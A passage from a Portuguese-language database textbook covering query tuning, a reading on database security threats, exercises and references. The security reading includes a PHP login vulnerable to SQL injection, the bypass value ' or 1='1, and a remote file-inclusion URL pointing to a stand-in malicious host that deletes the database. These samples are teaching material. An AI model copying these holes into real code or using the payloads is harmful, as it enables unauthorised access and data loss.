p. 122) relata que “[...] os arquivos que contêm as informações dos registros de uma
determinada tabela são gravados nos servidores como uma lista. Inicialmente essa
lista pode ser consultada por meio de uma varredura conhecida como table scan”.

O autor ainda informa que “com o crescimento do conjunto de informações


gravadas em uma tabela, o recurso de table scan acaba se tornando ineficiente,
ponto a partir do qual devemos começar a pensar no uso de índices” (CAYRES,
2015, p. 122).

181
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

Segundo Cayres (2015, p. 123):


Há um limite para uso de índices. Um índice, antes de mais nada, é
um tipo especial de tabela que utilizará espaço físico em disco para
armazenar suas informações. Outro ponto importante é que os índices
sempre serão consultados e atualizados durante o processamento das
informações que estão em suas tabelas. Dessa forma, orientamos para
o uso dos campos que representam chaves primárias ou estrangeiras,
ou mesmo algumas colunas que serão frequentemente empregadas
em consultas, como possíveis candidatos a índices de tabelas no banco
de dados.

Cayres (2015, p. 123) esclarece que “[...] os SGBDs mais modernos possuem
um otimizador de consultas que ajuda a determinar a maneira mais eficiente de
executar operações”, citando como exemplo o banco PostgreSQL:
No PostgreSQL, podemos utilizar o comando EXPLAIN, que permite
visualizar todas as etapas envolvidas no processamento de uma
consulta SQL/DML. Essa visão do funcionamento interno do banco
permite fazer melhorias em consultas que estejam tomando tempo
excessivo.
A sintaxe do EXPLAIN é:

EXPLAIN [ANALYZE] [VERBOSE] <consulta SQL>

Em que:
ANALYSE executa de fato o comando e retorna o tempo de execução.
VERBOSE vai detalhar ainda mais o resultado do comando EXPLAIN
(CAYRES, 2015, p. 123).

Na Figura 6, temos um exemplo do uso do comando EXPLAIN e o


resultado exibido após a sua execução.

FIGURA 6 – EXEMPLO DO COMANDO EXPLAIN E O SEU RESULTADO

FONTE: Cayres (2015, p. 123)

182
TÓPICO 3 — TUNING EM BANCOS DE DADOS

Por fim, para Caiut (2015, p. 107), “[...] são muitas as alternativas que
precisam ser consideradas até encontrar uma solução para um problema de
desempenho. Raramente alguém trará um problema parcialmente depurado,
indicando que a rotina tal está com problemas”.

Dessa forma, toda a análise que envolve o banco deverá ser considerada e
verificada, desde o local que hospeda esse banco de dados até mesmo a análise dos
sistemas instalados nesse mesmo servidor, além de aspectos que envolvem a rotina
em específico que está causando lentidão ou não processos de gargalo no sistema.

183
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

LEITURA COMPLEMENTAR

SEGURANÇA EM BANCO DE DADOS: UMA VISÃO GERAL SOBRE


SEGURANÇA E SUAS PRINCIPAIS DEFICIÊNCIAS

Marcos Vinicius Soares Santos


Diorgenes Ferreira
Marcos Paulo Maia Rodrigues
Renato César Oliveira Moreira

INTRODUÇÃO

Atualmente, trabalha-se com uma grande porção de dados, altamente


relacionados com outras massas de dados ou aplicações diversas. Manter esses dados
é uma tarefa complexa, tanto no ponto de vista de segurança quanto mecanismos de
recuperação de falhas, pois existem diversas técnicas ou problemas operacionais que
são encontrados a cada dia para danificar, acessar informação ou qualquer tipo de
ação não esperada em um banco de dados. Este artigo tem o objetivo de demonstrar
quais são os principais problemas de segurança atuais e como ocorrem.

O banco de dados de uma empresa contém uma grande quantidade de


dados e geralmente um grande número de usuários. A maioria desses usuários
não tem a necessidade de acessar todos os dados. Assim, permitir o acesso irrestrito
a todos os dados pode ser indesejável e o SGBD deve prover mecanismos para
controlar esse acesso.

CONCEITUALIZAÇÃO

Segurança é a condição de estar sendo protegido contra o perigo ou a


perda. Pode consistir em uma proteção física, social, espiritual, financeira,
política, emocional, ocupacional, psicológica, educacional ou de outro tipo. Ou
ainda, a ocorrência de falhas, danos, erros, acidentes ou algum outro evento que
poderia ser considerado indesejado.

Segurança da informação está relacionada com a proteção existente ou


necessária sobre dados que possuem valor para alguém ou para uma organização.
Tal segurança não está restrita a sistemas computacionais nem a informações
eletrônicas ou qualquer outra forma mecânica de armazenamento.

Segundo Albuquerque (2002) e Krause (1999), as principais propriedades


que, atualmente, orientam a análise, o planejamento e a implementação da
segurança para um determinado grupo de informações que se deseja proteger são:

• Confidencialidade: as informações só podem ser acessadas por pessoas


autorizadas pelo seu proprietário;

184
TÓPICO 3 — TUNING EM BANCOS DE DADOS

• Integridade: as características originais da informação, estabelecidas pelo seu


proprietário, devem ser mantidas;
• Disponibilidade: a informação deve estar sempre disponível para os usuários
autorizados pelo proprietário da informação.

Outros conceitos associados à segurança da informação são ameaça


vulnerabilidade e ataque que é uma ação executada por um intruso, que encontra
uma vulnerabilidade para provocar a ocorrência de uma ameaça.

AMEAÇA

Ameaça em um sistema computacional é definida como qualquer ocorrência


potencial que pode levar a um efeito indesejado nos recursos associados ao sistema.
A Microsoft classifica essas ameaças em várias categorias importantes que são
comumente conhecidas e facilmente lembradas pela sigla STRIDE [HERNAN
(2006)], na qual cada letra representa as iniciais das seguintes ameaças:

• Spoofing (invasão disfarçada) – o spoofing ocorre quando um invasor (usuário


ou sistema) se passa porum usuário legal do sistema.
• Tampering (adulteração) – a adulteração ocorre quando um invasor adultera
o sistema.
• Repudiation (repúdio) – o repúdio ocorre quando não é capaz de provar o
responsável por determinadas modificações no sistema.
• Information disclousure (revelação de informações) – a revelação de informação
ocorre quando as informações de um usuário são visualizadas por um invasor.
• Denial of Service (negação de serviço) – um ataque de negação de serviço
ocorre quando uma aplicação inunda o processamento ou a memória de um
sistema pela grande injeção de mensagens.
• Elevation of privilegie (elevação de privilégios) – os ataques de elevação de
privilégios são carregados quando um invasor for capaz de elevar ou ganhar
privilégios adicionais aos normalmente concedidos.

VULNERABILIDADE

Vulnerabilidade é uma característica do sistema que torna possível que


uma ameaça potencial ocorra. Ou seja, uma vulnerabilidade permite que algo
ruim aconteça. Algumas das vulnerabilidades mais comuns são descritas a seguir:

• Atividade de usuário – os próprios usuários podem tornar o sistema


vulnerável. Por exemplo, quando um usuário inadvertidamente tenta abrir
um anexo de e-mail que possa conter um vírus.
• Nomes de usuário e senhas fracos – nomes de usuário fracos, como
“administrador”, “gerente”, e senhas fracas, como uma senha em branco ou
“1234” (uma sequência).

185
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

• Permissões excessivas – aos usuários frequentemente são concedidos mais


permissões e privilégios do que são estritamente necessários. Permitindo que os
usuários acidentalmente ou intencionalmente gerassem brechas na segurança.
• Engano – os usuários podem ser iludidos em revelar informações privadas
sobre eles mesmos. Por exemplo, um site disfarçado de um site de banco para
capturar a senha da conta corrente do usuário.
• Serviços e portas excessivos – na qual os serviços e portas que não são
utilizados podem fornecer uma abertura para invasores.
• Ataques de injeção de SQL (SQL Injection) – esses ataques ocorrem quando
uma pessoa mal-intencionada usa as entradas de usuário injetando, ao invés do
conteúdo requerido, instruções SQL para manipular o retorno das informações.

SQL INJECTION

SQL Injection é uma das principais ameaças que encontramos em relação


a ataques em banco de dados, o termo é muito popular principalmente entre
programadores.

O SQL Injection é um ataque que visa enviar comandos nocivos à base de


dados através de campos de formulários ou através de URLs. Um ataque bem-
sucedido pode, por exemplo, apagar uma tabela do banco, deletar todos os dados
da tabela ou até adquirir senhas que estejam cadastradas.

Veja, a seguir, um exemplo de vulnerabilidade em um sistema de login:

$usuario = $_POST['usuario'];
$senha = $_POST['senha'];
$sql = “SELECT * FROM usuarios WHERE usuario = '“.$usuario”.' AND senha =
'“.$senha”.' “;$processa = mysql_query($sql);

Nesse exemplo, as variáveis $usuario e $senha recebem conteúdo vindo


diretamente de um formulário através do método POST. Imagine que o conteúdo
da variável $senha seja “„or 1=‟1”. Se nenhuma validação for realizada, o usuário
mal-intencionado terá efetuado login no sistema sem ao menos ter especificado
um cadastro válido, devido a uma falha gerada na instrução SQL.

Analisemos outro exemplo de vulnerabilidade. Muitos sites utilizam


sistemas via Z:

if (isset($_GET['pagina'])) {
// Pega o valor da variável $_GET['pagina']
$arquivo = $_GET['pagina'];
} else {
// Se não existir variável, define um valor padrão
$arquivo = 'home.php';
}
include ($arquivo); // Inclui o arquivo
186
TÓPICO 3 — TUNING EM BANCOS DE DADOS

Na URL do site, você poderia ter: http://www.seusite.com.


br/?pagina=contato.php. Com isso, o “invasor” pode, por exemplo, colocar um
caminho de um script externo no lugar da variável: http://www.seusite.com.
br/?pagina=http://malicioso.com/apaga-banco.php.

O seu site incluiria o arquivo normalmente e executaria tudo que existe


dentro dele e seu banco poderia ser completamente zerado. Para esse tipo de coisa,
existe apenas uma solução, a validação, que pode ser feita de várias maneiras, até
mesmo com funções nativas da linguagem.

SEGURANÇA

Os dados armazenados em Bancos de Dados precisam ser protegidos


contra acessos não autorizados, destruição ou alteração intencional e introdução
acidental de inconsistências. Existem alguns aspectos a serem considerados sobre
segurança:

• Aspectos legais, sociais e éticos (exemplo: a pessoa que faz a solicitação


referente ao crédito de um cliente tem direito legal em relação à informação?).
• Controles físicos (a sala com os servidores deve ficar trancada ou protegida
fisicamente de alguma outra maneira?).
• Questões políticas (como decidir quem tem acesso a que dentro do BD?).
• Problemas operacionais (na adoção de um sistema de senhas, como as senhas
são mantidas?).
• Controle de hardware (existem chaves de proteção?).
• Segurança do sistema operacional (qual a política de armazenamento e
estrutura de arquivos do sistema?).

O mau uso do banco de dados pode ser considerado como intencional ou


acidental. A perda acidental pode resultar de:

• Quebras durante o processamento de transações.


• Anomalias causadas por acesso concorrente aos dados.
• Anomalias causadas por distribuição do banco de dados.

É mais fácil proteger o sistema contra perdas acidentais do que contra


acessos maldosos ao banco de dados. Entre as formas de acesso maldoso estão:

• Leitura não autorizada de dados (roubo de informações).


• Modificação não autorizada de dados.
• Destruição não autorizada de dados.
• Inserção não autorizada de dados.

A proteção do banco de dados contra acesso insidioso é impossível, mas o


custo para o criminoso pode ser suficientemente alto para prevenir muitas, se não
todas, tentativas de acesso ao banco de dados sem autorização.

187
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

A segurança de banco de dados, geralmente, diz respeito à segurança


contra acessos maldosos, enquanto a integridade se refere ao fato de evitar a
perda acidental da consistência. Com a finalidade de proteger o BD, medidas de
segurança devem ser tomadas em diversos níveis:

• Físico – o sistema de computador deve ser fisicamente seguro contra entradas


clandestinas de intrusos.
• Humano – os usuários devem ser cuidadosamente autorizados, para reduzir a
chance de qualquer fornecimento de acesso a um intruso em troca de suborno
ou favores.
• Sistema operacional – independente da segurança do SGBD, a debilidade
na segurança do SO pode servir como um meio de acesso não autorizado ao
banco de dados.
• Sistema de BD – alguns usuários de sistemas de BD podem ter autorização de
acesso somente a uma porção limitada do BD. Outros usuários podem estar
habilitados a emitir consultas, mas podem ser proibidos de modificar dados.

Deve ser dedicado um esforço considerável para preservar a integridade


e a segurança de um banco de dados. Os dados pertencentes a uma organização
podem interessar a seus competidores, e a perda desses dados por fraude ou
acidente pode representar prejuízo para uma organização.

CONCLUSÃO

Dados atualmente, na era do conhecimento, é valioso tanto para empresas


quanto para pessoas comuns. A era do conhecimento persiste na informatização
de dados que vão desde dados simples, como nome, sexo etc., a dados sigilosos
como documentos pessoais, contas bancárias etc.

Com essa massiva quantidade de dados espalhados e pela tecnologia


atual, é impossível que algo seja 100% seguro. Este artigo permitiu entender quais
são os principais problemas de segurança e entender como funcionam, para que
haja um esforço mínimo no desenvolvimento de aplicações com segurança.

FONTE: Adaptado de SANTOS, M. V. S. et al. Segurança em Banco de Dados: Uma visão geral
sobre segurança e suas principais deficiências. FEPEG, 2014. Disponível em: https://bit.ly/3yZx941.
Acesso em: 23 jan. 2021.

188
RESUMO DO TÓPICO 3
Neste tópico, você aprendeu que:

• Tuning é um termo utilizado para especificar que ajustes e melhorias são


realizados no banco de dados. Essa tarefa nem sempre é simples ou fácil de
execução, pois envolve conhecimento de vários tipos de SGBDs e tecnologias,
além de habilidades técnicas.

• Um banco de dados com bom desempenho envolve aspectos no desenvolvimento


no seu modelo físico até o lógico, sendo que o processo de melhoria é contínuo
em relação às ações de tuning, ressaltando que a monitoração auxilia na
identificação dos gargalos.

• Os administradores de BD e DBAs precisam estar atentos a todos os processos


que o banco realiza, efetuando ações de monitoração, análise das consultas e
transações, operações de atualização, tempo de consultas e transações, dentre
outros.

• As informações são essenciais para as empresas desempenharem suas


atividades no dia a dia. A importância do tuning é fazer com que o banco seja
otimizado para que processos sejam desempenhados com sucesso e agilidade
em resposta a solicitação realizada.

• Para medir o desempenho do um sistema, pode-se utilizar fatores como:


qualidade ou a utilidade do resultado, exatidão e agilidade do resultado,
flexibilidade do sistema, escalabilidade do sistema resultante, riscos e
facilidade de utilização.

• A utilização adequada de índices pode contribuir com a melhora do


desempenho de um sistema, melhorando o tempo de recuperação dos dados
e agilizando as pesquisas. É válido ressaltar que um código de programação
bem estruturado também é importante.

• O processo de desnormalizações auxilia os DBAs nas análises e ajustes entre


o projeto físico e esquema lógico do banco de dados, permitindo melhorar
processos que no projeto físico, por exemplo, podem não atender aos objetivos
propostos.

• Todos os SGBDs permitem otimização de processos; analisar onde o banco


de dados está hospedado também é importante, para considerar o seu
desempenho em conjunto com demais ferramentas e utilitários que os SGDBs
disponibilizam.

189
• O processo de tuning é constante e não há uma forma exata de realizá-lo,
mas existem parâmetros que auxiliam, pois dependerá do tipo de banco,
tecnologia de desenvolvimento do sistema, nível de complexidade nas
operações e processos.

CHAMADA

Ficou alguma dúvida? Construímos uma trilha de aprendizagem


pensando em facilitar sua compreensão. Acesse o QR Code, que levará ao
AVA, e veja as novidades que preparamos para seu estudo.

190
AUTOATIVIDADE

1 As empresas usam diariamente seus sistemas para armazenar dados


e verificar informações, esses sistemas são desenvolvidos com os mais
diversos tipos de banco de dados. Com base na definição de tuning em
banco de dados, assinale a alternativa CORRETA:

a) ( ) Tuning é uma linguagem de programação que permite desenvolver


um código de maior desempenho.
b) ( ) Tuning é um mecanismo de busca que possibilita agilizar a exibição de
dados em tela.
c) ( ) Tuning é uma análise e monitoramento no banco de dados que
possibilita diagnosticar situações que precisa de melhoria.
d) ( ) Tuning é uma análise e monitoramento voltada para a autenticação de
usuários em banco de dados.

2 Para que um projeto seja bem-sucedido em relação ao software e ao banco


de dados, é necessário o uso de políticas e procedimentos que apoiem todo
o processo de desenvolvimento e permitam rever e reajustar esses processos
sempre que houver necessidade. Com base nas características de tuning em
banco de dados, analise as sentenças a seguir:

I- A realização de tuning é uma complexa tarefa para profissionais de


Tecnologia da Informação, pois requer conhecimento empírico para
verificação e monitoração do banco e processos.
II- Para realização de tuning, é possível seguir parâmetros, diretrizes e boas
práticas, que orientam verificações e permitem identificação de gargalos
e pouco desempenho do banco.
III- Um modelo físico de banco de dados deve ser bem projetado e desenvolvido,
pois, depois que é realizada sua construção, já não é possível fazer melhorias
em sua estrutura com tuning.

Assinale a alternativa CORRETA:


a) ( ) As sentenças I e II estão corretas.
b) ( ) Somente a sentença II está correta.
c) ( ) As sentenças I e III estão corretas.
d) ( ) Somente a sentença III está correta.

3 Para Elmasri e Navathe (2011, p. 490), “os administradores/projetistas


de banco de dados precisam analisar essas aplicações, suas frequências
de chamada esperadas, quaisquer restrições de temporização em sua
velocidade de execução, a frequência esperada [...]”, entre outros aspectos. A
partir dos fatores apresentados, classifique V para as sentenças verdadeiras
e F para as falsas:

191
( ) Consultas e transações nos bancos de dados devem ser monitoradas
constantemente, a fim de ser possível identificar se algum processo ou tabela
precisa de ajuste.
( ) Análise de atributos e chaves seja primária ou estrangeira devem ser
evitados, pois o impacto é muito grande, caso seja necessário fazer ajustes
de tuning.
( ) As frequências esperadas de operações de atualização devem ser
analisadas, identificando se há algum caminho que a aplicação possa
percorrer que ocasione falta de desempenho.

Assinale a alternativa que apresenta a sequência CORRETA:


a) ( ) V – F – F.
b) ( ) V – F – V.
c) ( ) F – V – F.
d) ( ) F – F – V.

4 O tuning é um termo utilizado para especificar que ajustes e melhorias


são realizados no banco de dados, sendo capaz de proporcionar várias
vantagens para as empresas e organizações. Disserte sobre a importância
que o tuning proporciona em relação ao banco de dados.

5 Segundo Caiut (2015, p. 55), para aplicação do tuning, “não existe uma receita
que se aplique a todos os casos de todas as tabelas da base” e que deve existir
conhecimento empírico, análise do ambiente, realização da aplicabilidade e
avaliação do resultado. A partir desse contexto, disserte sobre os motivos
pelo qual não é possível ter um padrão para realização de tuning em banco
de dados.

192
REFERÊNCIAS
BAARS, H. et al. Fundamentos de Segurança da Informação – com base na ISO
27001 e na ISO 27002. Rio de Janeiro: Brasport, 2018.

BROWN, L.; STALLINGS, W. Segurança de computadores. 2. ed. Rio de


Janeiro: Elsevier, 2014.

CAIUT, F. Administração de Banco de Dados. Rio de Janeiro: RNP/Escola


Superior de Redes, 2015.

CARNEVALLI, T. Desnormalização e redundância controlada em bancos de


dados relacionais. iMasters, 2015. Disponível em: https://imasters.com.br/banco-
de-dados/desnormalizacao-e-redundancia-controlada-em-bancos-de-dados-
relacionais. Acesso em: 24 jan. 2021.

COMITÊ GESTOR DA INTERNET NO BRASIL. Cartilha de Segurança Para


Internet. 2. ed. São Paulo: Comitê Gestor da Internet no Brasil; 2012. Disponível
em: https://cartilha.cert.br/livro/cartilha-seguranca-internet.pdf. Acesso em: 21
dez. 2020.

CARVALHO, V. MySQL – Comece com o principal banco de dados open source


do mercado. São Paulo: Casa do Código, 2015.

CAYRES, P. H. Modelagem de banco de dados. Rio de Janeiro: RNP/Escola


Superior de Redes, 2015.

CISO Advisor. Vazamento expõe dados pessoais de milhões de brasileiros.


2021. Disponível em: https://bit.ly/3k6i4aL. Acesso em: 23 jan. 2021.

ELMASRI, R.; NAVATHE, S. B. Sistemas de banco de dados. 6. ed. São Paulo:


Pearson, 2011.

ELMASRI, R.; NAVATHE, S. B. Sistemas de banco de dados. 4. ed. São Paulo:


Pearson, 2005.

FERREIRA, S. C. Sistemas de informação em segurança. Londrina: Editora e


Distribuidora Educacional S.A., 2017.

GAVIOLI, E. P.; SEEHAGEN, J. R. A Utilização da Criptografia a Nível de Banco


de Dados. 2015. Disponível em: https://bit.ly/3xZJSCz. Acesso em: 3 fev. 2021.

GONÇALVES, E. PL/SQL – Domine a linguagem do banco de dados Oracle. São


Paulo: Casa do Código, 2015.

193
GONÇALVES, E. SQL – Uma abordagem para banco de dados Oracle. São
Paulo: Casa do Código, 2014.

HINTZBERGEN, J. et al. Fundamentos de Segurança da Informação Com base


na ISO 27001 e na ISO 27002. Rio de Janeiro: Brasport, 2018.

LAUDON, K. C.; LAUDON, J. P. Sistemas de informação gerenciais. 11. ed.


São Paulo: Pearson Education do Brasil, 2014.

MACÊDO, D. Conceitos sobre Segurança em Banco de Dados. 2011. Disponível


em: https://www.diegomacedo.com.br/conceitos-sobre-seguranca-em-banco-de-
dados. Acesso em: 24 jan. 2021.

MARQUESONE, R. Big Data – Técnicas e tecnologias para extração de valor


dos dados. São Paulo: Casa do Código, 2017.

NAKAMURA, E. T. Segurança da informação e de redes. Londrina: Editora e


Distribuidora Educacional S.A., 2016.

OLIVEIRA, W. J.; PIVA, G. D. Informática, análise e gerenciamento de dados.


3. ed. São Paulo: Fundação Padre Anchieta, 2010.

REYNOLDS, G. W.; STAIR, R. M. Princípios de sistemas de informação. 11. ed.


São Paulo: Cengage Learning, 2015.

SANTOS, M. V. S. et al. Segurança em Banco de Dados: Uma visão geral sobre


segurança e suas principais deficiências. FEPEG, 2014. Disponível em: https://
bit.ly/3srYc5Q. Acesso em: 23 jan. 2021.

194

Você também pode gostar